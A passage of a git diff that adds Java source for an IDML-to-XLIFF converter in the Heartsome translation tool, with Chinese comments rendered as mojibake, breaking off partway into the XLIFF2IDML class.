impl.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * IDML 转æ¢ä¸º XLIFF 的实现类 + * @author peason + * @version + * @since JDK1.6 + */ + class IDML2XLIFFImpl { + + /** IDML 中 Story 文件的å‰ç¼€ */ + private static final String IDML_PREFIX = "idPkg"; + + /** IDML 中 Story 文件的命å空间 */ + private static final String IDML_NAMESPACE = "http://ns.adobe.com/AdobeInDesign/idml/1.0/packaging"; + + /** æºæ–‡ä»¶è·¯å¾„ */ + private String strSrcPath; + + /** 骨架文件路径 */ + private String strSklPath; + + /** XLIFF 文件路径 */ + private String strXLIFFPath; + + private boolean blnIsSuite; + + private String strQtToolID; + + /** æºè¯­è¨€ */ + private String strSrcLang; + + /** 目标语言 */ + private String strTgtLang; + + /** Catalogue 路径 */ + private String strCatalogue; + + /** 分段规则文件路径 */ + private String strSrx; + + /** ç¼–ç  */ + private String strSrcEncoding; + + private boolean blnSegByElement; + + private StringSegmenter segmenter; + + /** 存放 Spread çš„åç§°ï¼ŒæŒ‰å®žé™…æ˜¾ç¤ºé¡µçš„é¡ºåº */ + private LinkedList lstSpread = new LinkedList(); + + /** 存放 MasterSpread çš„å称,按 designmap.xml ä¸­æŒ‡å®šçš„é¡ºåº */ + private LinkedList lstMasterSpread = new LinkedList(); + + /** designmap.xml 中指定的 story æ–‡ä»¶çš„é›†åˆ */ + private ArrayList lstAllStory = new ArrayList(); + + /** Story 文件的集åˆï¼Œå·²æŽ’åº */ + private LinkedList lstStoryBySort = new LinkedList(); + + /** ç”Ÿæˆ XLIFF æ–‡ä»¶çš„è¾“å‡ºæµ */ + private FileOutputStream out; + + /** 生æˆéª¨æž¶æ–‡ä»¶çš„è¾“å‡ºæµ */ + private ZipOutputStream zipSklOut; + + private FileManager fileManager = new FileManager(); + + /** 临时解压目录(将 IDML 文件先解压到此目录) */ + private String strTmpFolderPath; + + /** 文本段 ID 值 */ + private int segNum = 0; + + /** + * 转æ¢å™¨çš„处ç†é¡ºåºå¦‚下:
    + * 1. 解压æºæ–‡ä»¶åˆ°ä¸´æ—¶ç›®å½•ã€‚
    + * 2. 将临时目录中除 Stories 文件夹外的其他文件åŠç›®å½•æ·»åŠ åˆ°éª¨æž¶æ–‡ä»¶ã€‚
    + * 3. è§£æž designmap.xml æ–‡ä»¶ï¼ŒèŽ·å– Spread 文件的顺åºåŠéœ€è¦å¤„ç†çš„ Story 文件
    + * 4. 按顺åºè§£æž Spread 文件,从中确定 Story 文件的顺åº
    + * 5. 对第 4 步中确定的 Story 文件é€ä¸€è§£æžï¼Œå¦‚æžœ Story 文件中无 Content 节点,则直接放入骨架文件;
    + * 如果有 Content 节点,则对该 Story 文件添加骨架信æ¯åŽï¼Œæ–‡ä»¶å添加 .skl åŽç¼€å¹¶æ”¾å…¥éª¨æž¶æ–‡ä»¶
    + * 6. 删除临时解压目录
    + * @param args + * @param monitor + * @return + * @throws ConverterException + * ; + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + monitor.beginTask("", 13); + Map result = new HashMap(); + // 转æ¢è¿‡ç¨‹åˆ†ä¸º 11 部分,releaseSrcZip å  1,createZip å  1,initSpreadAllStory å  1, parseSpreadFile å 2, + // parseStoryFile å  5,deleteFileOrFolder å  1 + IProgressMonitor firstPartMonitor = Progress.getSubMonitor(monitor, 1); + firstPartMonitor.beginTask(Messages.getString("idml.IDML2XLIFF.task2"), 1); + firstPartMonitor.subTask(""); + strSrcPath = args.get(Converter.ATTR_SOURCE_FILE); + strXLIFFPath = args.get(Converter.ATTR_XLIFF_FILE); + strSklPath = args.get(Converter.ATTR_SKELETON_FILE); + blnIsSuite = Converter.TRUE.equals(args.get(Converter.ATTR_IS_SUITE)); + strQtToolID = args.get(Converter.ATTR_QT_TOOLID) != null ? args.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + strSrcLang = args.get(Converter.ATTR_SOURCE_LANGUAGE); + strTgtLang = args.get(Converter.ATTR_TARGET_LANGUAGE); + strCatalogue = args.get(Converter.ATTR_CATALOGUE); + String elementSegmentation = args.get(Converter.ATTR_SEG_BY_ELEMENT); + strSrx = args.get(Converter.ATTR_SRX); + strSrcEncoding = args.get(Converter.ATTR_SOURCE_ENCODING); + if (elementSegmentation == null) { + blnSegByElement = false; + } else { + blnSegByElement = elementSegmentation.equals(Converter.TRUE); + } + + try { + out = new FileOutputStream(strXLIFFPath); + zipSklOut = new ZipOutputStream(new FileOutputStream(strSklPath)); + writeHeader(); + if (!blnSegByElement) { + segmenter = new StringSegmenter(strSrx, strSrcLang, strCatalogue); + } + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + releaseSrcZip(strSrcPath); + firstPartMonitor.worked(1); + firstPartMonitor.done(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + IProgressMonitor secondPartMonitor = Progress.getSubMonitor(monitor, 1); + secondPartMonitor.beginTask(Messages.getString("idml.IDML2XLIFF.task3"), 1); + secondPartMonitor.subTask(""); + fileManager.createZip(strTmpFolderPath, zipSklOut, strTmpFolderPath + File.separator + "Stories"); + secondPartMonitor.worked(1); + secondPartMonitor.done(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + initSpreadAllStory(Progress.getSubMonitor(monitor, 1)); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + // å…ˆæå–æ¯ç‰ˆå†…容 + parseSpreadFile(true, Progress.getSubMonitor(monitor, 2)); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + // å†æå–文本内容 + parseSpreadFile(false, Progress.getSubMonitor(monitor, 2)); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + // 按顺åºè§£æž Story 文件 + parseStoryFile(Progress.getSubMonitor(monitor, 5)); + lstAllStory.removeAll(lstStoryBySort); + if (lstAllStory.size() > 0) { +// 将剩余的 story 文件放入压缩包 + for (String strStoryPath : lstAllStory) { + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, strTmpFolderPath + File.separator + + strStoryPath); + } + } + writeOut("\n\n"); + out.close(); + zipSklOut.flush(); + zipSklOut.close(); + IProgressMonitor thirdMonitor = Progress.getSubMonitor(monitor, 1); + thirdMonitor.beginTask(Messages.getString("idml.IDML2XLIFF.task4"), 1); + thirdMonitor.subTask(""); + // 删除解压目录 + fileManager.deleteFileOrFolder(new File(strTmpFolderPath)); + thirdMonitor.worked(1); + thirdMonitor.done(); + result.put(Converter.ATTR_XLIFF_FILE, strXLIFFPath); + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("idml.IDML2XLIFF.logger1"), e); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("idml.IDML2XLIFF.msg1"), + e); + } finally { + monitor.done(); + } + + return result; + } + + /** + * 加载 designmap.xml 文件,åˆå§‹åŒ– lstSpread å’Œ lstAllStory + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * ; + */ + private void initSpreadAllStory(IProgressMonitor monitor) throws XPathParseException, XPathEvalException, + NavException { + monitor.beginTask("", 1); + monitor.subTask(MessageFormat.format(Messages.getString("idml.IDML2XLIFF.task5"), "designmap.xml")); + VTDGen vg = new VTDGen(); + if (vg.parseZIPFile(strSrcPath, "designmap.xml", true)) { + VTDNav vn = vg.getNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace(IDML_PREFIX, IDML_NAMESPACE); + ap.selectXPath("/Document/node()"); + while (ap.evalXPath() != -1) { + int curIndex = vn.getCurrentIndex(); + int tokenType = vn.getTokenType(curIndex); + String name = vn.toString(curIndex); + // 节点 + if (tokenType == 0) { + if (name.equals("idPkg:Spread")) { + String strSpread = vn.toString(vn.getAttrVal("src")); + lstSpread.add(strSpread); + } else if (name.equals("idPkg:Story")) { + String strStory = vn.toString(vn.getAttrVal("src")); + lstAllStory.add(strStory); + } else if (name.equals("idPkg:MasterSpread")) { + String strMasterSpread = vn.toString(vn.getAttrVal("src")); + lstMasterSpread.add(strMasterSpread); + } + } + } + } + monitor.worked(1); + monitor.done(); + } + + /** + * 按 designmap.xml 中指定 Spread 的顺åºè§£æž Spread 文件 + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * ; + */ + private void parseSpreadFile(boolean isParseMasterSpread, IProgressMonitor monitor) throws XPathParseException, + XPathEvalException, NavException { + monitor.beginTask("", isParseMasterSpread ? lstMasterSpread.size() : lstSpread.size()); + Iterator it = isParseMasterSpread ? lstMasterSpread.iterator() : lstSpread.iterator(); + ArrayList lstPageX = new ArrayList(); + // 总页数 + int pageAmount = 0; + // æ¯ä¸ª Spread 所包å«çš„页数 + int pageCount; + LinkedHashMap mapStoryAndCoordinate = new LinkedHashMap(); + AutoPilot ap = new AutoPilot(); + AutoPilot apPage = new AutoPilot(); + AutoPilot apTextFrame = new AutoPilot(); + VTDUtils vu = new VTDUtils(); + while (it.hasNext()) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + String strSpreadPath = it.next(); + monitor.subTask(MessageFormat.format(Messages.getString("idml.IDML2XLIFF.task5"), strSpreadPath)); + VTDGen vg = new VTDGen(); + if (vg.parseZIPFile(strSrcPath, strSpreadPath, true)) { + lstPageX.clear(); + VTDNav vn = vg.getNav(); + ap.bind(vn); + ap.declareXPathNameSpace(IDML_PREFIX, IDML_NAMESPACE); + ap.selectXPath(isParseMasterSpread ? "/idPkg:MasterSpread/MasterSpread" : "/idPkg:Spread/Spread"); + vu.bind(vn); + if (ap.evalXPath() != -1) { + String strPageCount = vn.toString(vn.getAttrVal("PageCount"));// 页数 + pageCount = Integer.parseInt(strPageCount.trim()); + int transformIndex = vn.getAttrVal("ItemTransform"); + String pageItemTransform = null; + if (transformIndex != -1) { + pageItemTransform = vn.toString(transformIndex); + } + vn.push(); + apPage.bind(vn); + apPage.selectXPath("./Page"); + while (apPage.evalXPath() != -1) { + String strItemTransform = vu.getCurrentElementAttribut("ItemTransform", null); + String strName = vu.getCurrentElementAttribut("Name", null);// é¡µå· + if (strItemTransform == null || strName == null) { + continue; + } + Pattern pattern = Pattern.compile("(?<=\\D*)\\d+(?=(\\D*$))"); + Matcher matcher = pattern.matcher(strName); + if (matcher.find()) { + int curPageNumber = Integer.parseInt(matcher.group()); + if (curPageNumber >= pageAmount && (curPageNumber - pageAmount) <= pageCount) { + String[] arrTransform = strItemTransform.trim().split(" "); + if (arrTransform.length == 6) { + double dblX = Double.parseDouble(arrTransform[4].trim()); + lstPageX.add(dblX); + } + } + } + } + if (lstPageX.size() == 0 && pageItemTransform != null) { + lstPageX.add(Double.MIN_VALUE); + String[] arrTransform = pageItemTransform.trim().split(" "); + if (arrTransform.length == 6) { + double dblX = Double.parseDouble(arrTransform[4].trim()); + lstPageX.add(dblX); + } + lstPageX.add(Double.MAX_VALUE); + } + Collections.sort(lstPageX); + pageAmount += pageCount; + vn.pop(); + mapStoryAndCoordinate.clear(); + apTextFrame.bind(vn); + apTextFrame.selectXPath(".//TextFrame"); + while (apTextFrame.evalXPath() != -1) { + String strStoryName = vn.toString(vn.getAttrVal("ParentStory")); + String strItemTransform = vn.toString(vn.getAttrVal("ItemTransform")); + String[] arrTransform = strItemTransform.trim().split(" "); + if (arrTransform.length == 6) { + double dblX = Double.parseDouble(arrTransform[4].trim()); + double dblY = Double.parseDouble(arrTransform[5].trim()); + mapStoryAndCoordinate.put(strStoryName, new Double[] { dblX, dblY }); + } + } + // 对 mapStoryAndCoordinate æŽ’åº + sortMap(mapStoryAndCoordinate, lstPageX); + } + } + monitor.worked(1); + } + monitor.done(); + } + + /** + * å¯¹é›†åˆ map è¿›è¡ŒæŽ’åº + * @param map + * è¦æŽ’åºçš„é›†åˆ + * @param lstPageX + * Spread 中 Page 的横å标集åˆï¼ˆå·²æŒ‰ä»Žå°åˆ°å¤§çš„顺åºæŽ’åºï¼‰ + */ + private void sortMap(LinkedHashMap map, final ArrayList lstPageX) { + List> lstMap = new ArrayList>(map.entrySet()); + Collections.sort(lstMap, new Comparator>() { + + public int compare(Entry o1, Entry o2) { + Double[] arrDbl1 = o1.getValue(); + Double[] arrDbl2 = o2.getValue(); + boolean isSamePage = false; + if (lstPageX.size() == 1) { + isSamePage = true; + } else { + for (int i = 0; i < lstPageX.size() - 1; i++) { + double dbl1 = lstPageX.get(i); + double dbl2 = lstPageX.get(i + 1); + if (arrDbl1[0] >= dbl1 && arrDbl1[0] <= dbl2 && arrDbl2[0] >= dbl1 && arrDbl2[0] <= dbl2) { + isSamePage = true; + break; + } + } + } + // 在åŒä¸€é¡µ + if (isSamePage) { + // 先比较纵å标,纵å标相åŒå†æ¯”较横å标,由于 y 轴的正方å‘å‘下,因此此处为 arrDbl2[1] - arrDbl1[1] + if (arrDbl1[1] != arrDbl2[1]) { + return arrDbl1[1] > arrDbl2[1] ? 1 : -1; + } else { + return arrDbl1[0] > arrDbl2[0] ? 1 : -1; + } + } else { + // 未在åŒä¸€é¡µæ—¶åªéœ€æ¯”较横åæ ‡ + return arrDbl1[0] > arrDbl2[0] ? 1 : -1; + } + } + }); + for (Entry entry : lstMap) { + String strStorySuffix = entry.getKey(); + String strStoryModule = lstAllStory.get(0); + String strStoryPath = strStoryModule.substring(0, strStoryModule.lastIndexOf("_") + 1) + strStorySuffix + + strStoryModule.substring(strStoryModule.lastIndexOf(".")); + if (lstAllStory.contains(strStoryPath) && !lstStoryBySort.contains(strStoryPath)) { + lstStoryBySort.add(strStoryPath); + } + } + } + + int gId = 0; + + /** + * è§£æž Story 文件 + * @throws Exception + * ; + */ + private void parseStoryFile(IProgressMonitor monitor) throws Exception { + monitor.beginTask("", lstStoryBySort.size()); + Iterator it = lstStoryBySort.iterator(); + // 标识 Story 文件是å¦æœ‰ä¿®æ”¹ã€‚ + boolean isUpdate = false; + int xId; + boolean isModify = false; + // 存储删除的节点,在修改完æˆåŽè¦é‡æ–°æ·»åŠ åˆ°åŽŸæ¥çš„ä½ç½® + HashMap mapDelete = new HashMap(); + VTDGen vg = new VTDGen(); + XMLModifier xm = new XMLModifier(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace(IDML_PREFIX, IDML_NAMESPACE); + VTDUtils vu = new VTDUtils(); + while (it.hasNext()) { + String strStoryPath = it.next(); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("idml.cancel")); + } + monitor.subTask(MessageFormat.format(Messages.getString("idml.IDML2XLIFF.task5"), strStoryPath)); + vg.clear(); + if (vg.parseZIPFile(strSrcPath, strStoryPath, true)) { + isUpdate = false; + VTDNav vn = vg.getNav(); + xm.bind(vn); + vu.bind(vn); + ap.bind(vn); + ap.selectXPath("/idPkg:Story/Story/descendant::ParagraphStyleRange/CharacterStyleRange/node()[name()='Rectangle' or name()='Group']"); + xId = 0; + // 新建一个以 x 为扩展å的文件,文件å与 strStoryPath 的文件åç›¸åŒ + File tmpFile = new File(strTmpFolderPath + File.separator + + strStoryPath.substring(0, strStoryPath.lastIndexOf(".")) + ".x"); + tmpFile.createNewFile(); + BufferedWriter fos = new BufferedWriter(new FileWriter(tmpFile, true)); + fos.append("\n"); + while (ap.evalXPath() != -1) { + String strRectangle = vu.getElementFragment(); + String strReplaceText = "\n" + strRectangle + "\n\n"; + fos.append(strReplaceText); + xm.remove(); + xm.insertAfterElement(""); + isUpdate = true; + xId++; + } + fos.append(""); + fos.close(); + if (isUpdate) { + vn = xm.outputAndReparse(); + xm.bind(vn); + ap.bind(vn); + vu.bind(vn); + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, tmpFile.getAbsolutePath()); + } + + isModify = false; + ap.selectXPath("/idPkg:Story/Story/descendant::node()[name()='HiddenText' or (name()='Change' and @ChangeType='DeletedText')]"); + mapDelete.clear(); + xId = 0; + while (ap.evalXPath() != -1) { + String strDel = vu.getElementFragment(); + xm.remove(); + String strText = "%%%%" + xId++ + "%%%%"; + xm.insertAfterElement(strText); + mapDelete.put(strText, strDel); + isModify = true; + isUpdate = true; + } + if (isModify) { + vn = xm.outputAndReparse(); + xm.bind(vn); + ap.bind(vn); + vu.bind(vn); + } + + // é€‰å– ParagraphStyleRange 节点,åªé€‰å–第一层 + ap.selectXPath("/idPkg:Story/Story/descendant::ParagraphStyleRange[not(ancestor::node()[name()='ParagraphStyleRange']) and descendant::node()[name()='Content']]"); + while (ap.evalXPath() != -1) { + String paragraphElement = vu.getElementFragment(); + String paraModified = handlePara(paragraphElement, mapDelete); + if (!paragraphElement.equals(paraModified)) { + xm.remove(); + xm.insertAfterElement(paraModified); + isUpdate = true; + } + } + + if (isUpdate) { + // Story 文件有修改时,文件å添加 .skl åŽç¼€å¹¶æ”¾å…¥åŽ‹ç¼©åŒ… + saveStoryFile(xm, strStoryPath); + } else { + // Story 文件无修改时,将æºæ–‡ä»¶æ”¾å…¥åŽ‹ç¼©åŒ…,文件å未改å˜ã€‚ + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, strTmpFolderPath + File.separator + + strStoryPath); + } + } + monitor.worked(1); + } + monitor.done(); + } + + public String handlePara(String para, HashMap mapDelete) throws Exception { + StringBuffer sb = new StringBuffer(); + List lstDepth = new ArrayList(); + VTDGen vg = new VTDGen(); + vg.setDoc(para.getBytes()); + vg.parse(true); + VTDNav vn = vg.getNav(); + XMLModifier xm = new XMLModifier(vn); + AutoPilot ap = new AutoPilot(vn); + VTDUtils vu = new VTDUtils(vn); + boolean isFind = false; + int curDepth = 0; + ArrayList lstSegment = new ArrayList(); + ArrayList lstIndex = new ArrayList(); + ap.selectXPath("/ParagraphStyleRange/descendant::node()"); + StringBuffer sbSkl = new StringBuffer(); + StringBuffer sbXLF = new StringBuffer(); + StringBuffer sbContent = new StringBuffer(); + AutoPilot ap2 = new AutoPilot(vn); + AutoPilot childAp = new AutoPilot(vn); + while (ap.evalXPath() != -1) { + String nodeName = vu.getCurrentElementName(); + curDepth = vn.getCurrentDepth(); + // 跳过 ParagraphStyleRange 节点 + if (nodeName.equalsIgnoreCase("ParagraphStyleRange")) { + lstDepth.add(curDepth); + // vn.pop(); + // 一个文本段结æŸï¼Œè¦è¿›è¡Œåˆ†æ®µ + if (sb.length() > 0) { + vn.push(); + updateParaAndXLF(sb, vn, lstSegment, sbSkl, sbContent, sbXLF, xm, ap2, childAp, lstIndex); + vn.pop(); + } + continue; + } else { + isFind = false; + Iterator it = lstDepth.iterator(); + while (it.hasNext()) { + Integer depth = (Integer) it.next(); + if (curDepth >= depth) { + isFind = true; + it.remove(); + } + } + if (isFind || nodeName.equalsIgnoreCase("Br") || nodeName.equalsIgnoreCase("Table")) { + // 一个文本段结æŸï¼Œè¦è¿›è¡Œåˆ†æ®µ + if (sb.length() > 0) { + vn.push(); + updateParaAndXLF(sb, vn, lstSegment, sbSkl, sbContent, sbXLF, xm, ap2, childAp, lstIndex); + vn.pop(); + } + } + if (nodeName.equalsIgnoreCase("Content")) { + String seg = vu.getElementContent(); + sb.append(seg); + lstSegment.add(seg); + lstIndex.add(vn.getCurrentIndex()); + } + } + } + if (sb.length() > 0) { + vn.push(); + updateParaAndXLF(sb, vn, lstSegment, sbSkl, sbContent, sbXLF, xm, ap2, childAp, lstIndex); + vn.pop(); + } + + if (mapDelete.size() > 0) { + childAp.bind(vn); + ap.selectXPath("/ParagraphStyleRange/descendant::node()[text()!='' and starts-with(normalize-space(text()),'%%%%') and ends-with(normalize-space(text()),'%%%%')]"); + while (ap.evalXPath() != -1) { + String strId = vu.getElementPureText().trim(); + String strPrimary = mapDelete.get(strId); + vn.push(); + childAp.selectXPath("./text()"); + if (childAp.evalXPath() != -1) { + xm.updateToken(vn.getCurrentIndex(), strPrimary); + } + vn.pop(); + } + } + + vn = xm.outputAndReparse(); + vu.bind(vn); + return vu.getElementFragment(); + } + + public void updateParaAndXLF(StringBuffer sb, VTDNav vn, ArrayList lstSegment, StringBuffer sbSkl, + StringBuffer sbContent, StringBuffer sbXLF, XMLModifier xm, AutoPilot ap2, AutoPilot childAp, + ArrayList lstIndex) throws Exception { + ParagraphManagement paraManagement = new ParagraphManagement(); + String string = paraManagement.toHexString(sb.toString().replaceAll("\r\n", "").replaceAll("\n", "")); + if (string.toUpperCase().replaceAll("FFFE", "").replaceAll("FEFF", "").replaceAll("2028", "").trim() + .equals("")) { + sbSkl.delete(0, sbSkl.length()); + sbXLF.delete(0, sbXLF.length()); + sbContent.delete(0, sbContent.length()); + sb.delete(0, sb.length()); + lstSegment.clear(); + lstIndex.clear(); + return; + } + String[] arrSeg = segmenter.segment(sb.toString()); + arr: for (String segment : arrSeg) { + // 修改 XLIFF 和骨架 + Iterator it = lstSegment.iterator(); + int index = -1; + while (it.hasNext()) { + String seg = (String) it.next(); + index++; + if (segment.equals(seg)) { + // 一个 trans-unit : segment + sbXLF.append("" + insertPhTag(segment) + ""); + writeSegment(sbXLF.toString()); + sbXLF.delete(0, sbXLF.length()); + // 骨架:sbSkl.append(###id###), 然åŽå†™å…¥æ–‡ä»¶;sbSkl = 0 sbContent.append(segment) sbContent=0 + sbSkl.append("###" + gId++ + "###"); + sbContent.append(segment); + + ap2.selectXPath("/ParagraphStyleRange/descendant::node()[text()!='' and text()=" + + VTDUtils.dealEscapeQuotes(sbContent.toString()) + "]"); + while (ap2.evalXPath() != -1) { + int curIndex = vn.getCurrentIndex(); + boolean isFind = false; + for (Iterator iterator = lstIndex.iterator(); iterator.hasNext();) { + Integer item = iterator.next(); + if (item == curIndex) { + iterator.remove(); + isFind = true; + } + } + if (!isFind) { + continue; + } + vn.push(); + childAp.selectXPath("./text()"); + if (childAp.evalXPath() != -1) { + xm.updateToken(vn.getCurrentIndex(), sbSkl.toString()); + } + vn.pop(); + break; + } + + sbSkl.delete(0, sbSkl.length()); + sbContent.delete(0, sbContent.length()); + it.remove(); + continue arr; + } else if (segment.startsWith(seg)) { + sbXLF.append("" + insertPhTag(seg) + ""); + // 骨架:sbSkl.append(###id###), 然åŽå†™å…¥æ–‡ä»¶å¹¶sbSkl = 0 sbContent.append(seg) sbContent=0 + sbSkl.append("###" + gId++ + "###"); + sbContent.append(seg); + + ap2.selectXPath("/ParagraphStyleRange/descendant::node()[text()!='' and text()=" + + VTDUtils.dealEscapeQuotes(sbContent.toString()) + "]"); + while (ap2.evalXPath() != -1) { + int curIndex = vn.getCurrentIndex(); + boolean isFind = false; + for (Iterator iterator = lstIndex.iterator(); iterator.hasNext();) { + Integer item = iterator.next(); + if (item == curIndex) { + iterator.remove(); + isFind = true; + } + } + if (!isFind) { + continue; + } + vn.push(); + childAp.selectXPath("./text()"); + if (childAp.evalXPath() != -1) { + xm.updateToken(vn.getCurrentIndex(), sbSkl.toString()); + } + vn.pop(); + break; + } + + sbSkl.delete(0, sbSkl.length()); + sbContent.delete(0, sbContent.length()); + segment = segment.substring(seg.length()); + it.remove(); + index--; + continue; + } else if (seg.startsWith(segment)) { + // sbXLF.append("segment"), 然åŽå†™å…¥ XLIFF 文件 + sbXLF.append("" + insertPhTag(segment) + ""); + writeSegment(sbXLF.toString()); + sbXLF.delete(0, sbXLF.length()); + // 骨架:sbSkl.append(###id###); sbContent.append(segment) + sbSkl.append("###" + gId++ + "###"); + sbContent.append(segment); + lstSegment.set(index, seg.substring(segment.length())); + continue arr; + } + } + } + sbSkl.delete(0, sbSkl.length()); + sbXLF.delete(0, sbXLF.length()); + sbContent.delete(0, sbContent.length()); + sb.delete(0, sb.length()); + lstSegment.clear(); + lstIndex.clear(); + } + + private String insertPhTag(String input) { + // åŒ¹é… Content å­èŠ‚ç‚¹çš„æ­£åˆ™è¡¨è¾¾å¼ + Pattern pattern = Pattern.compile("<[^<>]+>"); + Matcher matcher = pattern.matcher(input); + int start = 0; + int end = 0; + StringBuffer sbText = new StringBuffer(); + while (matcher.find()) { + start = matcher.start(); + sbText.append(input.substring(end, start)).append("") + .append(TextUtil.cleanSpecialString(matcher.group())).append(""); + end = matcher.end(); + } + sbText.append(input.substring(end, input.length())); + return sbText.toString(); + } + + /** + * ä¿å­˜ Story 文件的修改并将其添加到压缩包 + * @param xm + * @param storyName + * Story 文件在æºæ–‡ä»¶ä¸­çš„相对路径 + * @throws Exception + * ; + */ + private void saveStoryFile(XMLModifier xm, String storyName) throws Exception { + File tempFile = new File(strTmpFolderPath + File.separator + storyName + ".skl"); + FileOutputStream fos = new FileOutputStream(tempFile); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, tempFile.getAbsolutePath()); + } + + /** + * å°† strSrc 写入 XLIFF 文件 + * @param strSrc + * @throws IOException + * ; + */ + private void writeSegment(String strSrc) throws IOException { + writeOut("\n"); + // int phId = 1; + // å°†æºæ–‡ä»¶ä¸­çš„ ' 替æ¢ä¸º ',因为在 XLIFF 中 ' ä¸æ˜¯è½¬ä¹‰å­—符,而 InDesign 中是,在逆转æ¢æ—¶ï¼Œè¦æ³¨æ„å°† ' 替æ¢ä¸º ' + strSrc = strSrc.replaceAll("'", "'"); + writeOut("" + strSrc + "\n"); + writeOut("\n\n"); //$NON-NLS-1$ + } + + /** + * 写 XLIFF 的头节点内容 + * @throws IOException + * ; + */ + private void writeHeader() throws IOException { + writeOut("\n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + if (!strTgtLang.equals("")) { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } else { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + writeOut("
    \n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + if (blnIsSuite) { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + writeOut("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + writeOut("\n"); //$NON-NLS-1$ + writeOut(" \n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeOut(" " //$NON-NLS-1$ + + strSrcEncoding + "\n"); //$NON-NLS-1$ + writeOut("
    \n\n"); //$NON-NLS-1$ + writeOut("\n"); //$NON-NLS-1$ + } + + private void writeOut(String string) throws IOException { + out.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * å°† source 所代表的压缩包解压到临时目录 strTmpFolderPath + * @param source + * @throws IOException + * ; + */ + private void releaseSrcZip(String source) throws IOException { + String sysTemp = System.getProperty("java.io.tmpdir"); + String dirName = "tmpidmlfolder" + System.currentTimeMillis(); + File dir = new File(sysTemp + File.separator + dirName); + dir.mkdirs(); + strTmpFolderPath = dir.getAbsolutePath(); + fileManager.releaseZipToFile(source, strTmpFolderPath); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/ParagraphManagement.java b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/ParagraphManagement.java new file mode 100644 index 0000000..69a963d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/ParagraphManagement.java @@ -0,0 +1,20 @@ +package net.heartsome.cat.converter.idml; + + +public class ParagraphManagement { + + /** + * 将字符串转æ¢ä¸º 16 进制,以过滤掉 FFFE å’Œ FEFF ä¸å¯è§å­—符 + * @param s + * @return ; + */ + public String toHexString(String s) { + String str = ""; + for (int i = 0; i < s.length(); i++) { + int ch = (int) s.charAt(i); + String s4 = Integer.toHexString(ch); + str = str + s4; + } + return str;// 0x表示å六进制 + } +} diff --git a/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/XLIFF2IDML.java b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/XLIFF2IDML.java new file mode 100644 index 0000000..08d7f62 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.idml/src/net/heartsome/cat/converter/idml/XLIFF2IDML.java @@ -0,0 +1,446 @@ +package net.heartsome.cat.converter.idml; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.common.file.FileManager; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.idml.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * XLIFF 转æ¢ä¸º IDML + * @author peason + * @version + * @since JDK1.6 + */ +public class XLIFF2IDML implements Converter { + + private static final Logger LOGGER = LoggerFactory.getLogger(IDML2XLIFF.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "idml"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("idml.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = 